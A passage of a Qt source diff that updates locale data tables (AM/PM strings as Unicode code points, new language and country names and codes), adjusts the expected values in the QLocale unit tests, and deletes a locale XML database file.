0x1206, 0x20, 0x1230, 0x12d3, 0x1270, 0x434, 0x43f, 0x53, 0x41, 0xe0, 0xe1, 0x72, 0x1ecd, 0x300 +0x41, 0x4d, 0x57, 0x44, 0x76, 0x6d, 0x2e, 0x50, 0x44, 0x1321, 0x12cb, 0x1275, 0x635, 0x531, 0x57c, 0x2024, 0x9aa, 0x9c2, 0x9f0, 0x9cd, +0x9ac, 0x9be, 0x9b9, 0x9cd, 0x9a3, 0x9aa, 0x9c2, 0x9b0, 0x9cd, 0x9ac, 0x9be, 0x9b9, 0x9cd, 0x9a3, 0x434, 0x430, 0x20, 0x43f, 0x430, 0x43b, +0x443, 0x434, 0x43d, 0x44f, 0x1796, 0x17d2, 0x179a, 0x17b9, 0x1780, 0x61, 0x2e, 0x6d, 0x2e, 0x64, 0x6f, 0x70, 0x2e, 0x66, 0x2e, 0x6d, +0x2e, 0x65, 0x6e, 0x6e, 0x65, 0x20, 0x6b, 0x65, 0x73, 0x6b, 0x70, 0xe4, 0x65, 0x76, 0x61, 0x61, 0x70, 0x2e, 0x3c0, 0x2e, +0x3bc, 0x2e, 0xaaa, 0xac2, 0xab0, 0xacd, 0xab5, 0x20, 0xaae, 0xaa7, 0xacd, 0xaaf, 0xabe, 0xab9, 0xacd, 0xaa8, 0x5dc, 0x5e4, 0x5e0, 0x5d4, +0x5f4, 0x5e6, 0x92a, 0x942, 0x930, 0x94d, 0x935, 0x93e, 0x939, 0x94d, 0x928, 0x64, 0x65, 0x2e, 0x66, 0x2e, 0x68, 0x2e, 0x6d, 0x2e, +0x5348, 0x524d, 0x61, 0x6d, 0xc624, 0xc804, 0x70, 0x72, 0x69, 0x65, 0x6b, 0x161, 0x70, 0x75, 0x73, 0x64, 0x69, 0x65, 0x6e, 0x101, +0x70, 0x72, 0x69, 0x65, 0x161, 0x70, 0x69, 0x65, 0x74, 0x43f, 0x440, 0x435, 0x442, 0x43f, 0x43b, 0x430, 0x434, 0x43d, 0x435, 0xd30, +0xd3e, 0xd35, 0xd3f, 0xd32, 0xd46, 0x51, 0x4e, 0x92a, 0x942, 0x930, 0x94d, 0x935, 0x20, 0x92e, 0x927, 0x94d, 0x92f, 0x93e, 0x928, 0x94d, +0x939, 0x63a, 0x2e, 0x645, 0x2e, 0x642, 0x628, 0x644, 0x20, 0x627, 0x632, 0x20, 0x638, 0x647, 0x631, 0x41, 0x6e, 0x74, 0x65, 0x73, +0x20, 0x64, 0x6f, 0x20, 0x6d, 0x65, 0x69, 0x6f, 0x2d, 0x64, 0x69, 0x61, 0xa38, 0xa35, 0xa47, 0xa30, 0xa47, 0x4e, 0x44, 0x43f, +0x440, 0x435, 0x20, 0x43f, 0x43e, 0x434, 0x43d, 0x435, 0x70, 0x72, 0x65, 0x20, 0x70, 0x6f, 0x64, 0x6e, 0x65, 0xdb4, 0xdd9, 0x2e, +0xdc0, 0x2e, 0x64, 0x6f, 0x70, 0x6f, 0x6c, 0x75, 0x64, 0x6e, 0x69, 0x61, 0x73, 0x6e, 0x2e, 0x61, 0x73, 0x75, 0x62, 0x75, +0x68, 0x69, 0x66, 0x6d, 0xe01, 0xe48, 0xe2d, 0xe19, 0xe40, 0xe17, 0xe35, 0xe48, 0xe22, 0xe07, 0xf66, 0xf94, 0xf0b, 0xf51, 0xfb2, 0xf7c, +0xf0b, 0x1295, 0x1309, 0x1206, 0x20, 0x1230, 0x12d3, 0x1270, 0x434, 0x43f, 0x53, 0x41, 0xc0, 0xe1, 0x72, 0x1ecd, 0x300, 0x66, 0x6f, 0x72, +0x6d, 0x69, 0x64, 0x64, 0x61, 0x67, 0x41, 0x4e, 0x92e, 0x2e, 0x92a, 0x942, 0x2e, 0x41, 0x2e, 0x4d, 0x2e, 0x128, 0x79, 0x61, +0x6b, 0x77, 0x61, 0x6b, 0x79, 0x61, 0x76, 0x6f, 0x72, 0x6d, 0x2e, 0xa3b8, 0xa111, 0x4d, 0x61, 0x2f, 0x4d, 0x6f, 0x4c, 0x75, +0x6d, 0x61, 0x20, 0x6c, 0x77, 0x61, 0x20, 0x4b, 0x73, 0x75, 0x62, 0x61, 0x6b, 0x61, 0x4b, 0x69, 0x72, 0x6f, 0x6b, 0x6f, +0x54, 0x65, 0x73, 0x69, 0x72, 0x61, 0x6e, 0x6b, 0x61, 0x6e, 0x67, 0x27, 0x61, 0x6d, 0x61, 0x74, 0x69, 0x66, 0x61, 0x77, +0x74, 0x6e, 0x20, 0x74, 0x75, 0x66, 0x61, 0x74, 0x70, 0x61, 0x6d, 0x69, 0x6c, 0x61, 0x75, 0x75, 0x74, 0x75, 0x6b, 0x6f, +0x4b, 0x49, 0x13cc, 0x13be, 0x13b4, 0x4d, 0x75, 0x68, 0x69, 0x54, 0x4f, 0x4f, 0x75, 0x6c, 0x75, 0x63, 0x68, 0x65, 0x6c, 0x6f, +0x52, 0x168, 0x42, 0x65, 0x65, 0x74, 0x1c1, 0x67, 0x6f, 0x61, 0x67, 0x61, 0x73, 0x190, 0x6e, 0x6b, 0x61, 0x6b, 0x25b, 0x6e, +0x79, 0xe1, 0x4d, 0x75, 0x6e, 0x6b, 0x79, 0x6f, 0x69, 0x63, 0x68, 0x65, 0x68, 0x65, 0x61, 0x76, 0x6f, 0x54, 0x61, 0x70, +0x61, 0x72, 0x61, 0x63, 0x68, 0x75, 0x41, 0x64, 0x64, 0x75, 0x68, 0x61, 0x4f, 0x44, 0x5a, 0x64, 0x61, 0x74, 0x20, 0x61, +0x7a, 0x61, 0x6c, 0x6d, 0x61, 0x6b, 0x65, 0x6f }; static const ushort pm_data[] = { -0x50, 0x4d, 0x6e, 0x6d, 0x2e, 0x4d, 0x44, 0x645, 0x535, 0x580, 0x2024, 0x985, 0x9aa, 0x985, 0x9aa, 0x9b0, 0x9be, 0x9b9, 0x9cd, 0x9a3, -0x441, 0x43b, 0x2e, 0x20, 0x43e, 0x431, 0x2e, 0x43f, 0x430, 0x441, 0x43b, 0x44f, 0x20, 0x43f, 0x430, 0x43b, 0x443, 0x434, 0x43d, 0x44f, -0x179b, 0x17d2, 0x1784, 0x17b6, 0x1785, 0x4e0b, 0x5348, 0x6f, 0x64, 0x70, 0x2e, 0x65, 0x2e, 0x6d, 0x2e, 0x70, 0x2e, 0x6d, 0x2e, 0x69, -0x70, 0x2e, 0x6e, 0x61, 0x63, 0x68, 0x6d, 0x2e, 0x3bc, 0x2e, 0x3bc, 0x2e, 0xa89, 0xaa4, 0xacd, 0xaa4, 0xab0, 0xa0, 0xaae, 0xaa7, -0xacd, 0xaaf, 0xabe, 0xab9, 0xacd, 0xaa8, 0x5d0, 0x5d7, 0x5d4, 0x22, 0x5e6, 0x905, 0x92a, 0x930, 0x93e, 0x939, 0x94d, 0x928, 0x64, 0x75, -0x2e, 0x70, 0x2e, 0x5348, 0x5f8c, 0xc85, 0xcaa, 0xcb0, 0xcbe, 0xcb9, 0xccd, 0xca8, 0xc624, 0xd6c4, 0x70, 0x6f, 0x70, 0x69, 0x65, 0x74, -0x57, 0x4e, 0x92e, 0x2e, 0x928, 0x902, 0x2e, 0x65, 0x74, 0x74, 0x65, 0x72, 0x6d, 0x69, 0x64, 0x64, 0x61, 0x67, 0x63a, 0x2e, -0x648, 0x2e, 0x628, 0x639, 0x62f, 0x20, 0x627, 0x632, 0x20, 0x638, 0x647, 0x631, 0x44, 0x65, 0x70, 0x6f, 0x69, 0x73, 0x20, 0x64, -0x6f, 0x20, 0x6d, 0x65, 0x69, 0x6f, 0x2d, 0x64, 0x69, 0x61, 0xa38, 0xa3c, 0xa3e, 0xa2e, 0x43f, 0x43e, 0x43f, 0x43e, 0x434, 0x43d, -0x435, 0xdb4, 0x2e, 0xdc0, 0x2e, 0x67, 0x6e, 0x65, 0x6d, 0xbae, 0xbbe, 0xbb2, 0xbc8, 0xc05, 0xc2a, 0xc30, 0xc3e, 0xc39, 0xc4d, 0xc28, -0xc02, 0xe2b, 0xe25, 0xe31, 0xe07, 0xe40, 0xe17, 0xe35, 0xe48, 0xe22, 0xe07, 0x12f5, 0x1215, 0x122d, 0x20, 0x1230, 0x12d3, 0x1275, 0x43f, 0x43f, -0x43, 0x48, 0x1ecd, 0x300, 0x73, 0xe1, 0x6e +0x50, 0x4d, 0x57, 0x42, 0x6e, 0x6d, 0x2e, 0x4d, 0x44, 0x12a8, 0x1233, 0x12d3, 0x1275, 0x645, 0x53f, 0x565, 0x2024, 0x985, 0x9aa, 0x9f0, +0x9be, 0x9b9, 0x9cd, 0x9a3, 0x985, 0x9aa, 0x9b0, 0x9be, 0x9b9, 0x9cd, 0x9a3, 0x43f, 0x430, 0x441, 0x43b, 0x44f, 0x20, 0x43f, 0x430, 0x43b, +0x443, 0x434, 0x43d, 0x44f, 0x179b, 0x17d2, 0x1784, 0x17b6, 0x1785, 0x70, 0x2e, 0x6d, 0x2e, 0x6f, 0x64, 0x70, 0x2e, 0x65, 0x2e, 0x6d, +0x2e, 0x70, 0xe4, 0x72, 0x61, 0x73, 0x74, 0x20, 0x6b, 0x65, 0x73, 0x6b, 0x70, 0xe4, 0x65, 0x76, 0x61, 0x69, 0x70, 0x2e, +0x3bc, 0x2e, 0x3bc, 0x2e, 0xa89, 0xaa4, 0xacd, 0xaa4, 0xab0, 0x20, 0xaae, 0xaa7, 0xacd, 0xaaf, 0xabe, 0xab9, 0xacd, 0xaa8, 0x5d0, 0x5d7, +0x5d4, 0x5f4, 0x5e6, 0x905, 0x92a, 0x930, 0x93e, 0x939, 0x94d, 0x928, 0x64, 0x75, 0x2e, 0x65, 0x2e, 0x68, 0x2e, 0x70, 0x2e, 0x5348, +0x5f8c, 0x70, 0x6d, 0xc624, 0xd6c4, 0x70, 0x113, 0x63, 0x70, 0x75, 0x73, 0x64, 0x69, 0x65, 0x6e, 0x101, 0x70, 0x6f, 0x70, 0x69, +0x65, 0x74, 0x43f, 0x43e, 0x43f, 0x43b, 0x430, 0x434, 0x43d, 0x435, 0xd35, 0xd48, 0xd15, 0xd41, 0xd28, 0xd4d, 0xd28, 0xd47, 0xd30, 0xd02, +0x57, 0x4e, 0x909, 0x924, 0x94d, 0x924, 0x930, 0x20, 0x92e, 0x927, 0x94d, 0x92f, 0x93e, 0x928, 0x94d, 0x939, 0x63a, 0x2e, 0x648, 0x2e, +0x628, 0x639, 0x62f, 0x20, 0x627, 0x632, 0x20, 0x638, 0x647, 0x631, 0x44, 0x65, 0x70, 0x6f, 0x69, 0x73, 0x20, 0x64, 0x6f, 0x20, +0x6d, 0x65, 0x69, 0x6f, 0x2d, 0x64, 0x69, 0x61, 0xa38, 0xa3c, 0xa3e, 0xa2e, 0x73, 0x6d, 0x4c, 0x4b, 0x43f, 0x43e, 0x43f, 0x43e, +0x434, 0x43d, 0x435, 0x70, 0x6f, 0x70, 0x6f, 0x64, 0x6e, 0x65, 0xdb4, 0x2e, 0xdc0, 0x2e, 0x70, 0x6f, 0x70, 0x6f, 0x6c, 0x75, +0x64, 0x6e, 0xed, 0x70, 0x6f, 0x70, 0x2e, 0x67, 0x6e, 0x2e, 0x61, 0x6c, 0x61, 0x73, 0x69, 0x72, 0x69, 0x65, 0x6d, 0xe2b, +0xe25, 0xe31, 0xe07, 0xe40, 0xe17, 0xe35, 0xe48, 0xe22, 0xe07, 0xf55, 0xfb1, 0xf72, 0xf0b, 0xf51, 0xfb2, 0xf7c, 0xf0b, 0x12f5, 0x1215, 0x122d, +0x20, 0x1230, 0x12d3, 0x1275, 0x43f, 0x43f, 0x43, 0x48, 0x1ecc, 0x300, 0x73, 0xe1, 0x6e, 0x65, 0x74, 0x74, 0x65, 0x72, 0x6d, 0x69, +0x64, 0x64, 0x61, 0x67, 0x45, 0x57, 0x92e, 0x2e, 0x928, 0x902, 0x2e, 0x50, 0x2e, 0x4d, 0x2e, 0x128, 0x79, 0x61, 0x77, 0x129, +0x6f, 0x6f, 0x6e, 0x61, 0x6d, 0x2e, 0xa06f, 0xa2d2, 0x4d, 0x61, 0x6d, 0x62, 0x69, 0x61, 0x2f, 0x4d, 0x6f, 0x67, 0x6c, 0x75, +0x6d, 0x61, 0x20, 0x6c, 0x77, 0x61, 0x20, 0x70, 0x6b, 0x69, 0x6b, 0x69, 0x69, 0x257, 0x65, 0x48, 0x77, 0x61, 0x129, 0x2d, +0x69, 0x6e, 0x129, 0x54, 0x65, 0x69, 0x70, 0x61, 0x6b, 0x69, 0x6e, 0x67, 0x6f, 0x74, 0x6f, 0x74, 0x61, 0x64, 0x67, 0x67, +0x2b7, 0x61, 0x74, 0x6e, 0x20, 0x74, 0x6d, 0x65, 0x64, 0x64, 0x69, 0x74, 0x70, 0x61, 0x6d, 0x75, 0x6e, 0x79, 0x69, 0x6b, +0x79, 0x69, 0x75, 0x6b, 0x6f, 0x6e, 0x79, 0x69, 0x55, 0x54, 0x13d2, 0x13af, 0x13f1, 0x13a2, 0x13d7, 0x13e2, 0x43, 0x68, 0x69, 0x6c, +0x6f, 0x4d, 0x55, 0x55, 0x61, 0x6b, 0x61, 0x73, 0x75, 0x62, 0x61, 0x168, 0x47, 0x4b, 0x65, 0x6d, 0x6f, 0x1c3, 0x75, 0x69, +0x61, 0x73, 0x190, 0x6e, 0x64, 0xe1, 0x6d, 0xe2, 0x45, 0x69, 0x67, 0x75, 0x6c, 0x6f, 0x69, 0x63, 0x68, 0x61, 0x6d, 0x74, +0x68, 0x69, 0x45, 0x62, 0x6f, 0x6e, 0x67, 0x69, 0x41, 0x6c, 0x75, 0x75, 0x6c, 0x61, 0x4f, 0x54, 0x1e0c, 0x65, 0x66, 0x66, +0x69, 0x72, 0x20, 0x61, 0x7a, 0x61, 0x6e, 0x79, 0x69, 0x61, 0x67, 0x68, 0x75, 0x6f }; static const char language_name_list[] = @@ -2311,6 +4479,55 @@ static const char language_name_list[] = "Hawaiian\0" "Tyap\0" "Chewa\0" +"Filipino\0" +"Swiss German\0" +"Sichuan Yi\0" +"Kpelle\0" +"Low German\0" +"South Ndebele\0" +"Northern Sotho\0" +"Northern Sami\0" +"Taroko\0" +"Gusii\0" +"Taita\0" +"Fulah\0" +"Kikuyu\0" +"Samburu\0" +"Sena\0" +"North Ndebele\0" +"Rombo\0" +"Tachelhit\0" +"Kabyle\0" +"Nyankole\0" +"Bena\0" +"Vunjo\0" +"Bambara\0" +"Embu\0" +"Cherokee\0" +"Morisyen\0" +"Makonde\0" +"Langi\0" +"Ganda\0" +"Bemba\0" +"Kabuverdianu\0" +"Meru\0" +"Kalenjin\0" +"Nama\0" +"Machame\0" +"Colognian\0" +"Masai\0" +"Soga\0" +"Luyia\0" +"Asu\0" +"Teso\0" +"Saho\0" +"Koyra Chiini\0" +"Rwa\0" +"Luo\0" +"Chiga\0" +"Central Morocco Tamazight\0" +"Koyraboro Senni\0" +"Shambala\0" ; static const quint16 language_name_index[] = { @@ -2480,6 +4697,55 @@ static const quint16 language_name_index[] = { 1271, // Hawaiian 1280, // Tyap 1285, // Chewa + 1291, // Filipino + 1300, // Swiss German + 1313, // Sichuan Yi + 1324, // Kpelle + 1331, // Low German + 1342, // South Ndebele + 1356, // Northern Sotho + 1371, // Northern Sami + 1385, // Taroko + 1392, // Gusii + 1398, // Taita + 1404, // Fulah + 1410, // Kikuyu + 1417, // Samburu + 1425, // Sena + 1430, // North Ndebele + 1444, // Rombo + 1450, // Tachelhit + 1460, // Kabyle + 1467, // Nyankole + 1476, // Bena + 1481, // Vunjo + 1487, // Bambara + 1495, // Embu + 1500, // Cherokee + 1509, // Morisyen + 1518, // Makonde + 1526, // Langi + 1532, // Ganda + 1538, // Bemba + 1544, // Kabuverdianu + 1557, // Meru + 1562, // Kalenjin + 1571, // Nama + 1576, // Machame + 1584, // Colognian + 1594, // Masai + 1600, // Soga + 1605, // Luyia + 1611, // Asu + 1615, // Teso + 1620, // Saho + 1625, // Koyra Chiini + 1638, // Rwa + 1642, // Luo + 1646, // Chiga + 1652, // Central Morocco Tamazight + 1678, // Koyraboro Senni + 1694, // Shambala }; static const char country_name_list[] = @@ -2725,6 +4991,10 @@ static const char country_name_list[] = "Zambia\0" "Zimbabwe\0" "SerbiaAndMontenegro\0" +"Montenegro\0" +"Serbia\0" +"Saint Barthelemy\0" +"Saint Martin\0" ; static const quint16 country_name_index[] = { @@ -2970,6 +5240,10 @@ static const quint16 country_name_index[] = { 2559, // Zambia 2566, // Zimbabwe 2575, // SerbiaAndMontenegro + 2595, // Montenegro + 2606, // Serbia + 2613, // Saint Barthelemy + 2630, // Saint Martin }; static const unsigned char language_code_list[] = @@ -3135,10 +5409,59 @@ static const unsigned char language_code_list[] = "fur" // Friulian "ve\0" // Venda "ee\0" // Ewe -"wa\0" // Walamo +"wal" // Walamo "haw" // Hawaiian "kcg" // Tyap "ny\0" // Chewa +"fil" // Filipino +"gsw" // Swiss German +"ii\0" // Sichuan Yi +"kpe" // Kpelle +"nds" // Low German +"nr\0" // South Ndebele +"nso" // Northern Sotho +"se\0" // Northern Sami +"trv" // Taroko +"guz" // Gusii +"dav" // Taita +"ff\0" // Fulah +"ki\0" // Kikuyu +"saq" // Samburu +"seh" // Sena +"nd\0" // North Ndebele +"rof" // Rombo +"shi" // Tachelhit +"kab" // Kabyle +"nyn" // Nyankole +"bez" // Bena +"vun" // Vunjo +"bm\0" // Bambara +"ebu" // Embu +"chr" // Cherokee +"mfe" // Morisyen +"kde" // Makonde +"lag" // Langi +"lg\0" // Ganda +"bem" // Bemba +"kea" // Kabuverdianu +"mer" // Meru +"kln" // Kalenjin +"naq" // Nama +"jmc" // Machame +"ksh" // Colognian +"mas" // Masai +"xog" // Soga +"luy" // Luyia +"asa" // Asu +"teo" // Teso +"ssy" // Saho +"khq" // Koyra Chiini +"rwk" // Rwa +"luo" // Luo +"cgg" // Chiga +"tzm" // Central Morocco Tamazight +"ses" // Koyraboro Senni +"ksb" // Shambala ; static const unsigned char country_code_list[] = @@ -3384,6 +5707,10 @@ static const unsigned char country_code_list[] = "ZM" // Zambia "ZW" // Zimbabwe "CS" // SerbiaAndMontenegro +"ME" // Montenegro +"RS" // Serbia +"BL" // Saint Barthelemy +"MF" // Saint Martin ; QT_END_NAMESPACE diff --git a/tests/auto/qlocale/tst_qlocale.cpp b/tests/auto/qlocale/tst_qlocale.cpp index 9363e4e..21a6f32 100644 --- a/tests/auto/qlocale/tst_qlocale.cpp +++ b/tests/auto/qlocale/tst_qlocale.cpp @@ -182,6 +182,11 @@ void tst_QLocale::ctor() QCOMPARE(l.language(), exp_lang); \ QCOMPARE(l.country(), exp_country); \ } + { + QLocale l(QLocale::C, QLocale::AnyCountry); + QCOMPARE(l.language(), QLocale::C); + QCOMPARE(l.country(), QLocale::AnyCountry); + } TEST_CTOR(C, AnyCountry, QLocale::C, QLocale::AnyCountry) TEST_CTOR(Aymara, AnyCountry, default_lang, default_country) TEST_CTOR(Aymara, France, default_lang, default_country) @@ -1586,7 +1591,7 @@ void tst_QLocale::dayName_data() QTest::newRow("ru_RU long") << QString("ru_RU") << QString::fromUtf8("\320\262\320\276\321\201\320\272\321\200\320\265\321\201\320\265\320\275\321\214\320\265") << 7 << QLocale::LongFormat; QTest::newRow("ru_RU short") << QString("ru_RU") << QString::fromUtf8("\320\222\321\201") << 7 << QLocale::ShortFormat; - QTest::newRow("ru_RU narrow") << QString("ru_RU") << QString::fromUtf8("") << 7 << QLocale::NarrowFormat; + QTest::newRow("ru_RU narrow") << QString("ru_RU") << QString::fromUtf8("\320\222") << 7 << QLocale::NarrowFormat; } void tst_QLocale::dayName() @@ -1897,16 +1902,16 @@ void tst_QLocale::ampm() QCOMPARE(c.pmText(), QLatin1String("PM")); QLocale de("de_DE"); - QCOMPARE(de.amText(), QLatin1String("vorm.")); - QCOMPARE(de.pmText(), QLatin1String("nachm.")); + QCOMPARE(de.amText(), QLatin1String("AM")); + QCOMPARE(de.pmText(), QLatin1String("PM")); QLocale sv("sv_SE"); QCOMPARE(sv.amText(), QLatin1String("fm")); QCOMPARE(sv.pmText(), QLatin1String("em")); QLocale nn("nl_NL"); - QCOMPARE(nn.amText(), QLatin1String("")); - QCOMPARE(nn.pmText(), QLatin1String("")); + QCOMPARE(nn.amText(), QLatin1String("AM")); + QCOMPARE(nn.pmText(), QLatin1String("PM")); QLocale ua("uk_UA"); QCOMPARE(ua.amText(), QString::fromUtf8("\320\264\320\277")); @@ -1922,7 +1927,7 @@ void tst_QLocale::dateFormat() const QLocale no("no_NO"); QCOMPARE(no.dateFormat(QLocale::NarrowFormat), QLatin1String("dd.MM.yy")); QCOMPARE(no.dateFormat(QLocale::ShortFormat), QLatin1String("dd.MM.yy")); - QCOMPARE(no.dateFormat(QLocale::LongFormat), QLatin1String("dddd d. MMMM yyyy")); + QCOMPARE(no.dateFormat(QLocale::LongFormat), QLatin1String("dddd d. MMMM y")); } void tst_QLocale::timeFormat() @@ -1932,9 +1937,9 @@ void tst_QLocale::timeFormat() QCOMPARE(c.timeFormat(QLocale::NarrowFormat), c.timeFormat(QLocale::ShortFormat)); const QLocale no("no_NO"); - QCOMPARE(no.timeFormat(QLocale::NarrowFormat), QLatin1String("HH.mm")); - QCOMPARE(no.timeFormat(QLocale::ShortFormat), QLatin1String("HH.mm")); - QCOMPARE(no.timeFormat(QLocale::LongFormat), QLatin1String("'kl'. HH.mm.ss ")); + QCOMPARE(no.timeFormat(QLocale::NarrowFormat), QLatin1String("HH:mm")); + QCOMPARE(no.timeFormat(QLocale::ShortFormat), QLatin1String("HH:mm")); + QCOMPARE(no.timeFormat(QLocale::LongFormat), QLatin1String("'kl'. HH:mm:ss tttt")); } void tst_QLocale::dateTimeFormat() @@ -1944,9 +1949,9 @@ void tst_QLocale::dateTimeFormat() QCOMPARE(c.dateTimeFormat(QLocale::NarrowFormat), c.dateTimeFormat(QLocale::ShortFormat)); const QLocale no("no_NO"); - QCOMPARE(no.dateTimeFormat(QLocale::NarrowFormat), QLatin1String("dd.MM.yy HH.mm")); - QCOMPARE(no.dateTimeFormat(QLocale::ShortFormat), QLatin1String("dd.MM.yy HH.mm")); - QCOMPARE(no.dateTimeFormat(QLocale::LongFormat), QLatin1String("dddd d. MMMM yyyy 'kl'. HH.mm.ss ")); + QCOMPARE(no.dateTimeFormat(QLocale::NarrowFormat), QLatin1String("dd.MM.yy HH:mm")); + QCOMPARE(no.dateTimeFormat(QLocale::ShortFormat), QLatin1String("dd.MM.yy HH:mm")); + QCOMPARE(no.dateTimeFormat(QLocale::LongFormat), QLatin1String("dddd d. MMMM y 'kl'. HH:mm:ss tttt")); } void tst_QLocale::monthName() @@ -1967,12 +1972,12 @@ void tst_QLocale::monthName() QCOMPARE(de.monthName(12, QLocale::LongFormat), QLatin1String("Dezember")); QCOMPARE(de.monthName(12, QLocale::ShortFormat), QLatin1String("Dez")); // 'de' locale doesn't have narrow month name - QCOMPARE(de.monthName(12, QLocale::NarrowFormat), QLatin1String("")); + QCOMPARE(de.monthName(12, QLocale::NarrowFormat), QLatin1String("D")); QLocale ru("ru_RU"); QCOMPARE(ru.monthName(1, QLocale::LongFormat), QString::fromUtf8("\321\217\320\275\320\262\320\260\321\200\321\217")); QCOMPARE(ru.monthName(1, QLocale::ShortFormat), QString::fromUtf8("\321\217\320\275\320\262\56")); - QCOMPARE(ru.monthName(1, QLocale::NarrowFormat), QString::fromUtf8("")); // empty in CLDR 1.6.1 + QCOMPARE(ru.monthName(1, QLocale::NarrowFormat), QString::fromUtf8("\320\257")); } void tst_QLocale::standaloneMonthName() diff --git a/util/local_database/enumdata.py b/util/local_database/enumdata.py index 44bfc90..b742272 100644 --- a/util/local_database/enumdata.py +++ b/util/local_database/enumdata.py @@ -206,10 +206,59 @@ language_list = { 159 : [ "Friulian", "fur" ], 160 : [ "Venda", "ve" ], 161 : [ "Ewe", "ee" ], - 162 : [ "Walamo", "wa" ], + 162 : [ "Walamo", "wal" ], 163 : [ "Hawaiian", "haw" ], 164 : [ "Tyap", "kcg" ], - 165 : [ "Chewa", "ny" ] + 165 : [ "Chewa", "ny" ], + 166 : [ "Filipino", "fil" ], + 167 : [ "Swiss German", "gsw" ], + 168 : [ "Sichuan Yi", "ii" ], + 169 : [ "Kpelle", "kpe" ], + 170 : [ "Low German", "nds" ], + 171 : [ "South Ndebele", "nr" ], + 172 : [ "Northern Sotho", "nso" ], + 173 : [ "Northern Sami", "se" ], + 174 : [ "Taroko", "trv" ], + 175 : [ "Gusii", "guz" ], + 176 : [ "Taita", "dav" ], + 177 : [ "Fulah", "ff" ], + 178 : [ "Kikuyu", "ki" ], + 179 : [ "Samburu", "saq" ], + 180 : [ "Sena", "seh" ], + 181 : [ "North Ndebele", "nd" ], + 182 : [ "Rombo", "rof" ], + 183 : [ "Tachelhit", "shi" ], + 184 : [ "Kabyle", "kab" ], + 185 : [ "Nyankole", "nyn" ], + 186 : [ "Bena", "bez" ], + 187 : [ "Vunjo", "vun" ], + 188 : [ "Bambara", "bm" ], + 189 : [ "Embu", "ebu" ], + 190 : [ "Cherokee", "chr" ], + 191 : [ "Morisyen", "mfe" ], + 192 : [ "Makonde", "kde" ], + 193 : [ "Langi", "lag" ], + 194 : [ "Ganda", "lg" ], + 195 : [ "Bemba", "bem" ], + 196 : [ "Kabuverdianu", "kea" ], + 197 : [ "Meru", "mer" ], + 198 : [ "Kalenjin", "kln" ], + 199 : [ "Nama", "naq" ], + 200 : [ "Machame", "jmc" ], + 201 : [ "Colognian", "ksh" ], + 202 : [ "Masai", "mas" ], + 203 : [ "Soga", "xog" ], + 204 : [ "Luyia", "luy" ], + 205 : [ "Asu", "asa" ], + 206 : [ "Teso", "teo" ], + 207 : [ "Saho", "ssy" ], + 208 : [ "Koyra Chiini", "khq" ], + 209 : [ "Rwa", "rwk" ], + 210 : [ "Luo", "luo" ], + 211 : [ "Chiga", "cgg" ], + 212 : [ "Central Morocco Tamazight", "tzm" ], + 213 : [ "Koyraboro Senni", "ses" ], + 214 : [ "Shambala", "ksb" ] } country_list = { @@ -454,7 +503,11 @@ country_list = { 238 : [ "Yugoslavia", "YU" ], 239 : [ "Zambia", "ZM" ], 240 : [ "Zimbabwe", "ZW" ], - 241 : [ "SerbiaAndMontenegro", "CS" ] + 241 : [ "SerbiaAndMontenegro", "CS" ], + 242 : [ "Montenegro", "ME" ], + 243 : [ "Serbia", "RS" ], + 244 : [ "Saint Barthelemy", "BL" ], + 245 : [ "Saint Martin", "MF" ] } def countryCodeToId(code): diff --git a/util/local_database/locale.xml b/util/local_database/locale.xml deleted file mode 100644 index cb0b3a2..0000000 --- a/util/local_database/locale.xml +++ /dev/null @@ -1,9217 +0,0 @@ - - - - C - 1 - - - - Abkhazian - 2 - ab - - - Afan - 3 - om - - - Afar - 4 - aa - - - Afrikaans - 5 - af - - - Albanian - 6 - sq - - - Amharic - 7 - am - - - Arabic - 8 - ar - - - Armenian - 9 - hy - - - Assamese - 10 - as - - - Aymara - 11 - ay - - - Azerbaijani - 12 - az - - - Bashkir - 13 - ba - - - Basque - 14 - eu - - - Bengali - 15 - bn - - - Bhutani - 16 - dz - - - Bihari - 17 - bh - - - Bislama - 18 - bi - - - Breton - 19 - br - - - Bulgarian - 20 - bg - - - Burmese - 21 - my - - - Byelorussian - 22 - be - - - Cambodian - 23 - km - - - Catalan - 24 - ca - - - Chinese - 25 - zh - - - Corsican - 26 - co - - - Croatian - 27 - hr - - - Czech - 28 - cs - - - Danish - 29 - da - - - Dutch - 30 - nl - - - English - 31 - en - - - Esperanto - 32 - eo - - - Estonian - 33 - et - - - Faroese - 34 - fo - - - Fiji - 35 - fj - - - Finnish - 36 - fi - - - French - 37 - fr - - - Frisian - 38 - fy - - - Gaelic - 39 - gd - - - Galician - 40 - gl - - - Georgian - 41 - ka - - - German - 42 - de - - - Greek - 43 - el - - - Greenlandic - 44 - kl - - - Guarani - 45 - gn - - - Gujarati - 46 - gu - - - Hausa - 47 - ha - - - Hebrew - 48 - he - - - Hindi - 49 - hi - - - Hungarian - 50 - hu - - - Icelandic - 51 - is - - - Indonesian - 52 - id - - - Interlingua - 53 - ia - - - Interlingue - 54 - ie - - - Inuktitut - 55 - iu - - - Inupiak - 56 - ik - - - Irish - 57 - ga - - - Italian - 58 - it - - - Japanese - 59 - ja - - - Javanese - 60 - jv - - - Kannada - 61 - kn - - - Kashmiri - 62 - ks - - - Kazakh - 63 - kk - - - Kinyarwanda - 64 - rw - - - Kirghiz - 65 - ky - - - Korean - 66 - ko - - - Kurdish - 67 - ku - - - Kurundi - 68 - rn - - - Laothian - 69 - lo - - - Latin - 70 - la - - - Latvian - 71 - lv - - - Lingala - 72 - ln - - - Lithuanian - 73 - lt - - - Macedonian - 74 - mk - - - Malagasy - 75 - mg - - - Malay - 76 - ms - - - Malayalam - 77 - ml - - - Maltese - 78 - mt - - - Maori - 79 - mi - - - Marathi - 80 - mr - - - Moldavian - 81 - mo - - - Mongolian - 82 - mn - - - Nauru - 83 - na - - - Nepali - 84 - ne - - - Norwegian - 85 - nb - - - Occitan - 86 - oc - - - Oriya - 87 - or - - - Pashto - 88 - ps - - - Persian - 89 - fa - - - Polish - 90 - pl - - - Portuguese - 91 - pt - - - Punjabi - 92 - pa - - - Quechua - 93 - qu - - - RhaetoRomance - 94 - rm - - - Romanian - 95 - ro - - - Russian - 96 - ru - - - Samoan - 97 - sm - - - Sangho - 98 - sg - - - Sanskrit - 99 - sa - - - Serbian - 100 - sr - - - SerboCroatian - 101 - sh - - - Sesotho - 102 - st - - - Setswana - 103 - tn - - - Shona - 104 - sn - - - Sindhi - 105 - sd - - - Singhalese - 106 - si - - - Siswati - 107 - ss - - - Slovak - 108 - sk - - - Slovenian - 109 - sl - - - Somali - 110 - so - - - Spanish - 111 - es - - - Sundanese - 112 - su - - - Swahili - 113 - sw - - - Swedish - 114 - sv - - - 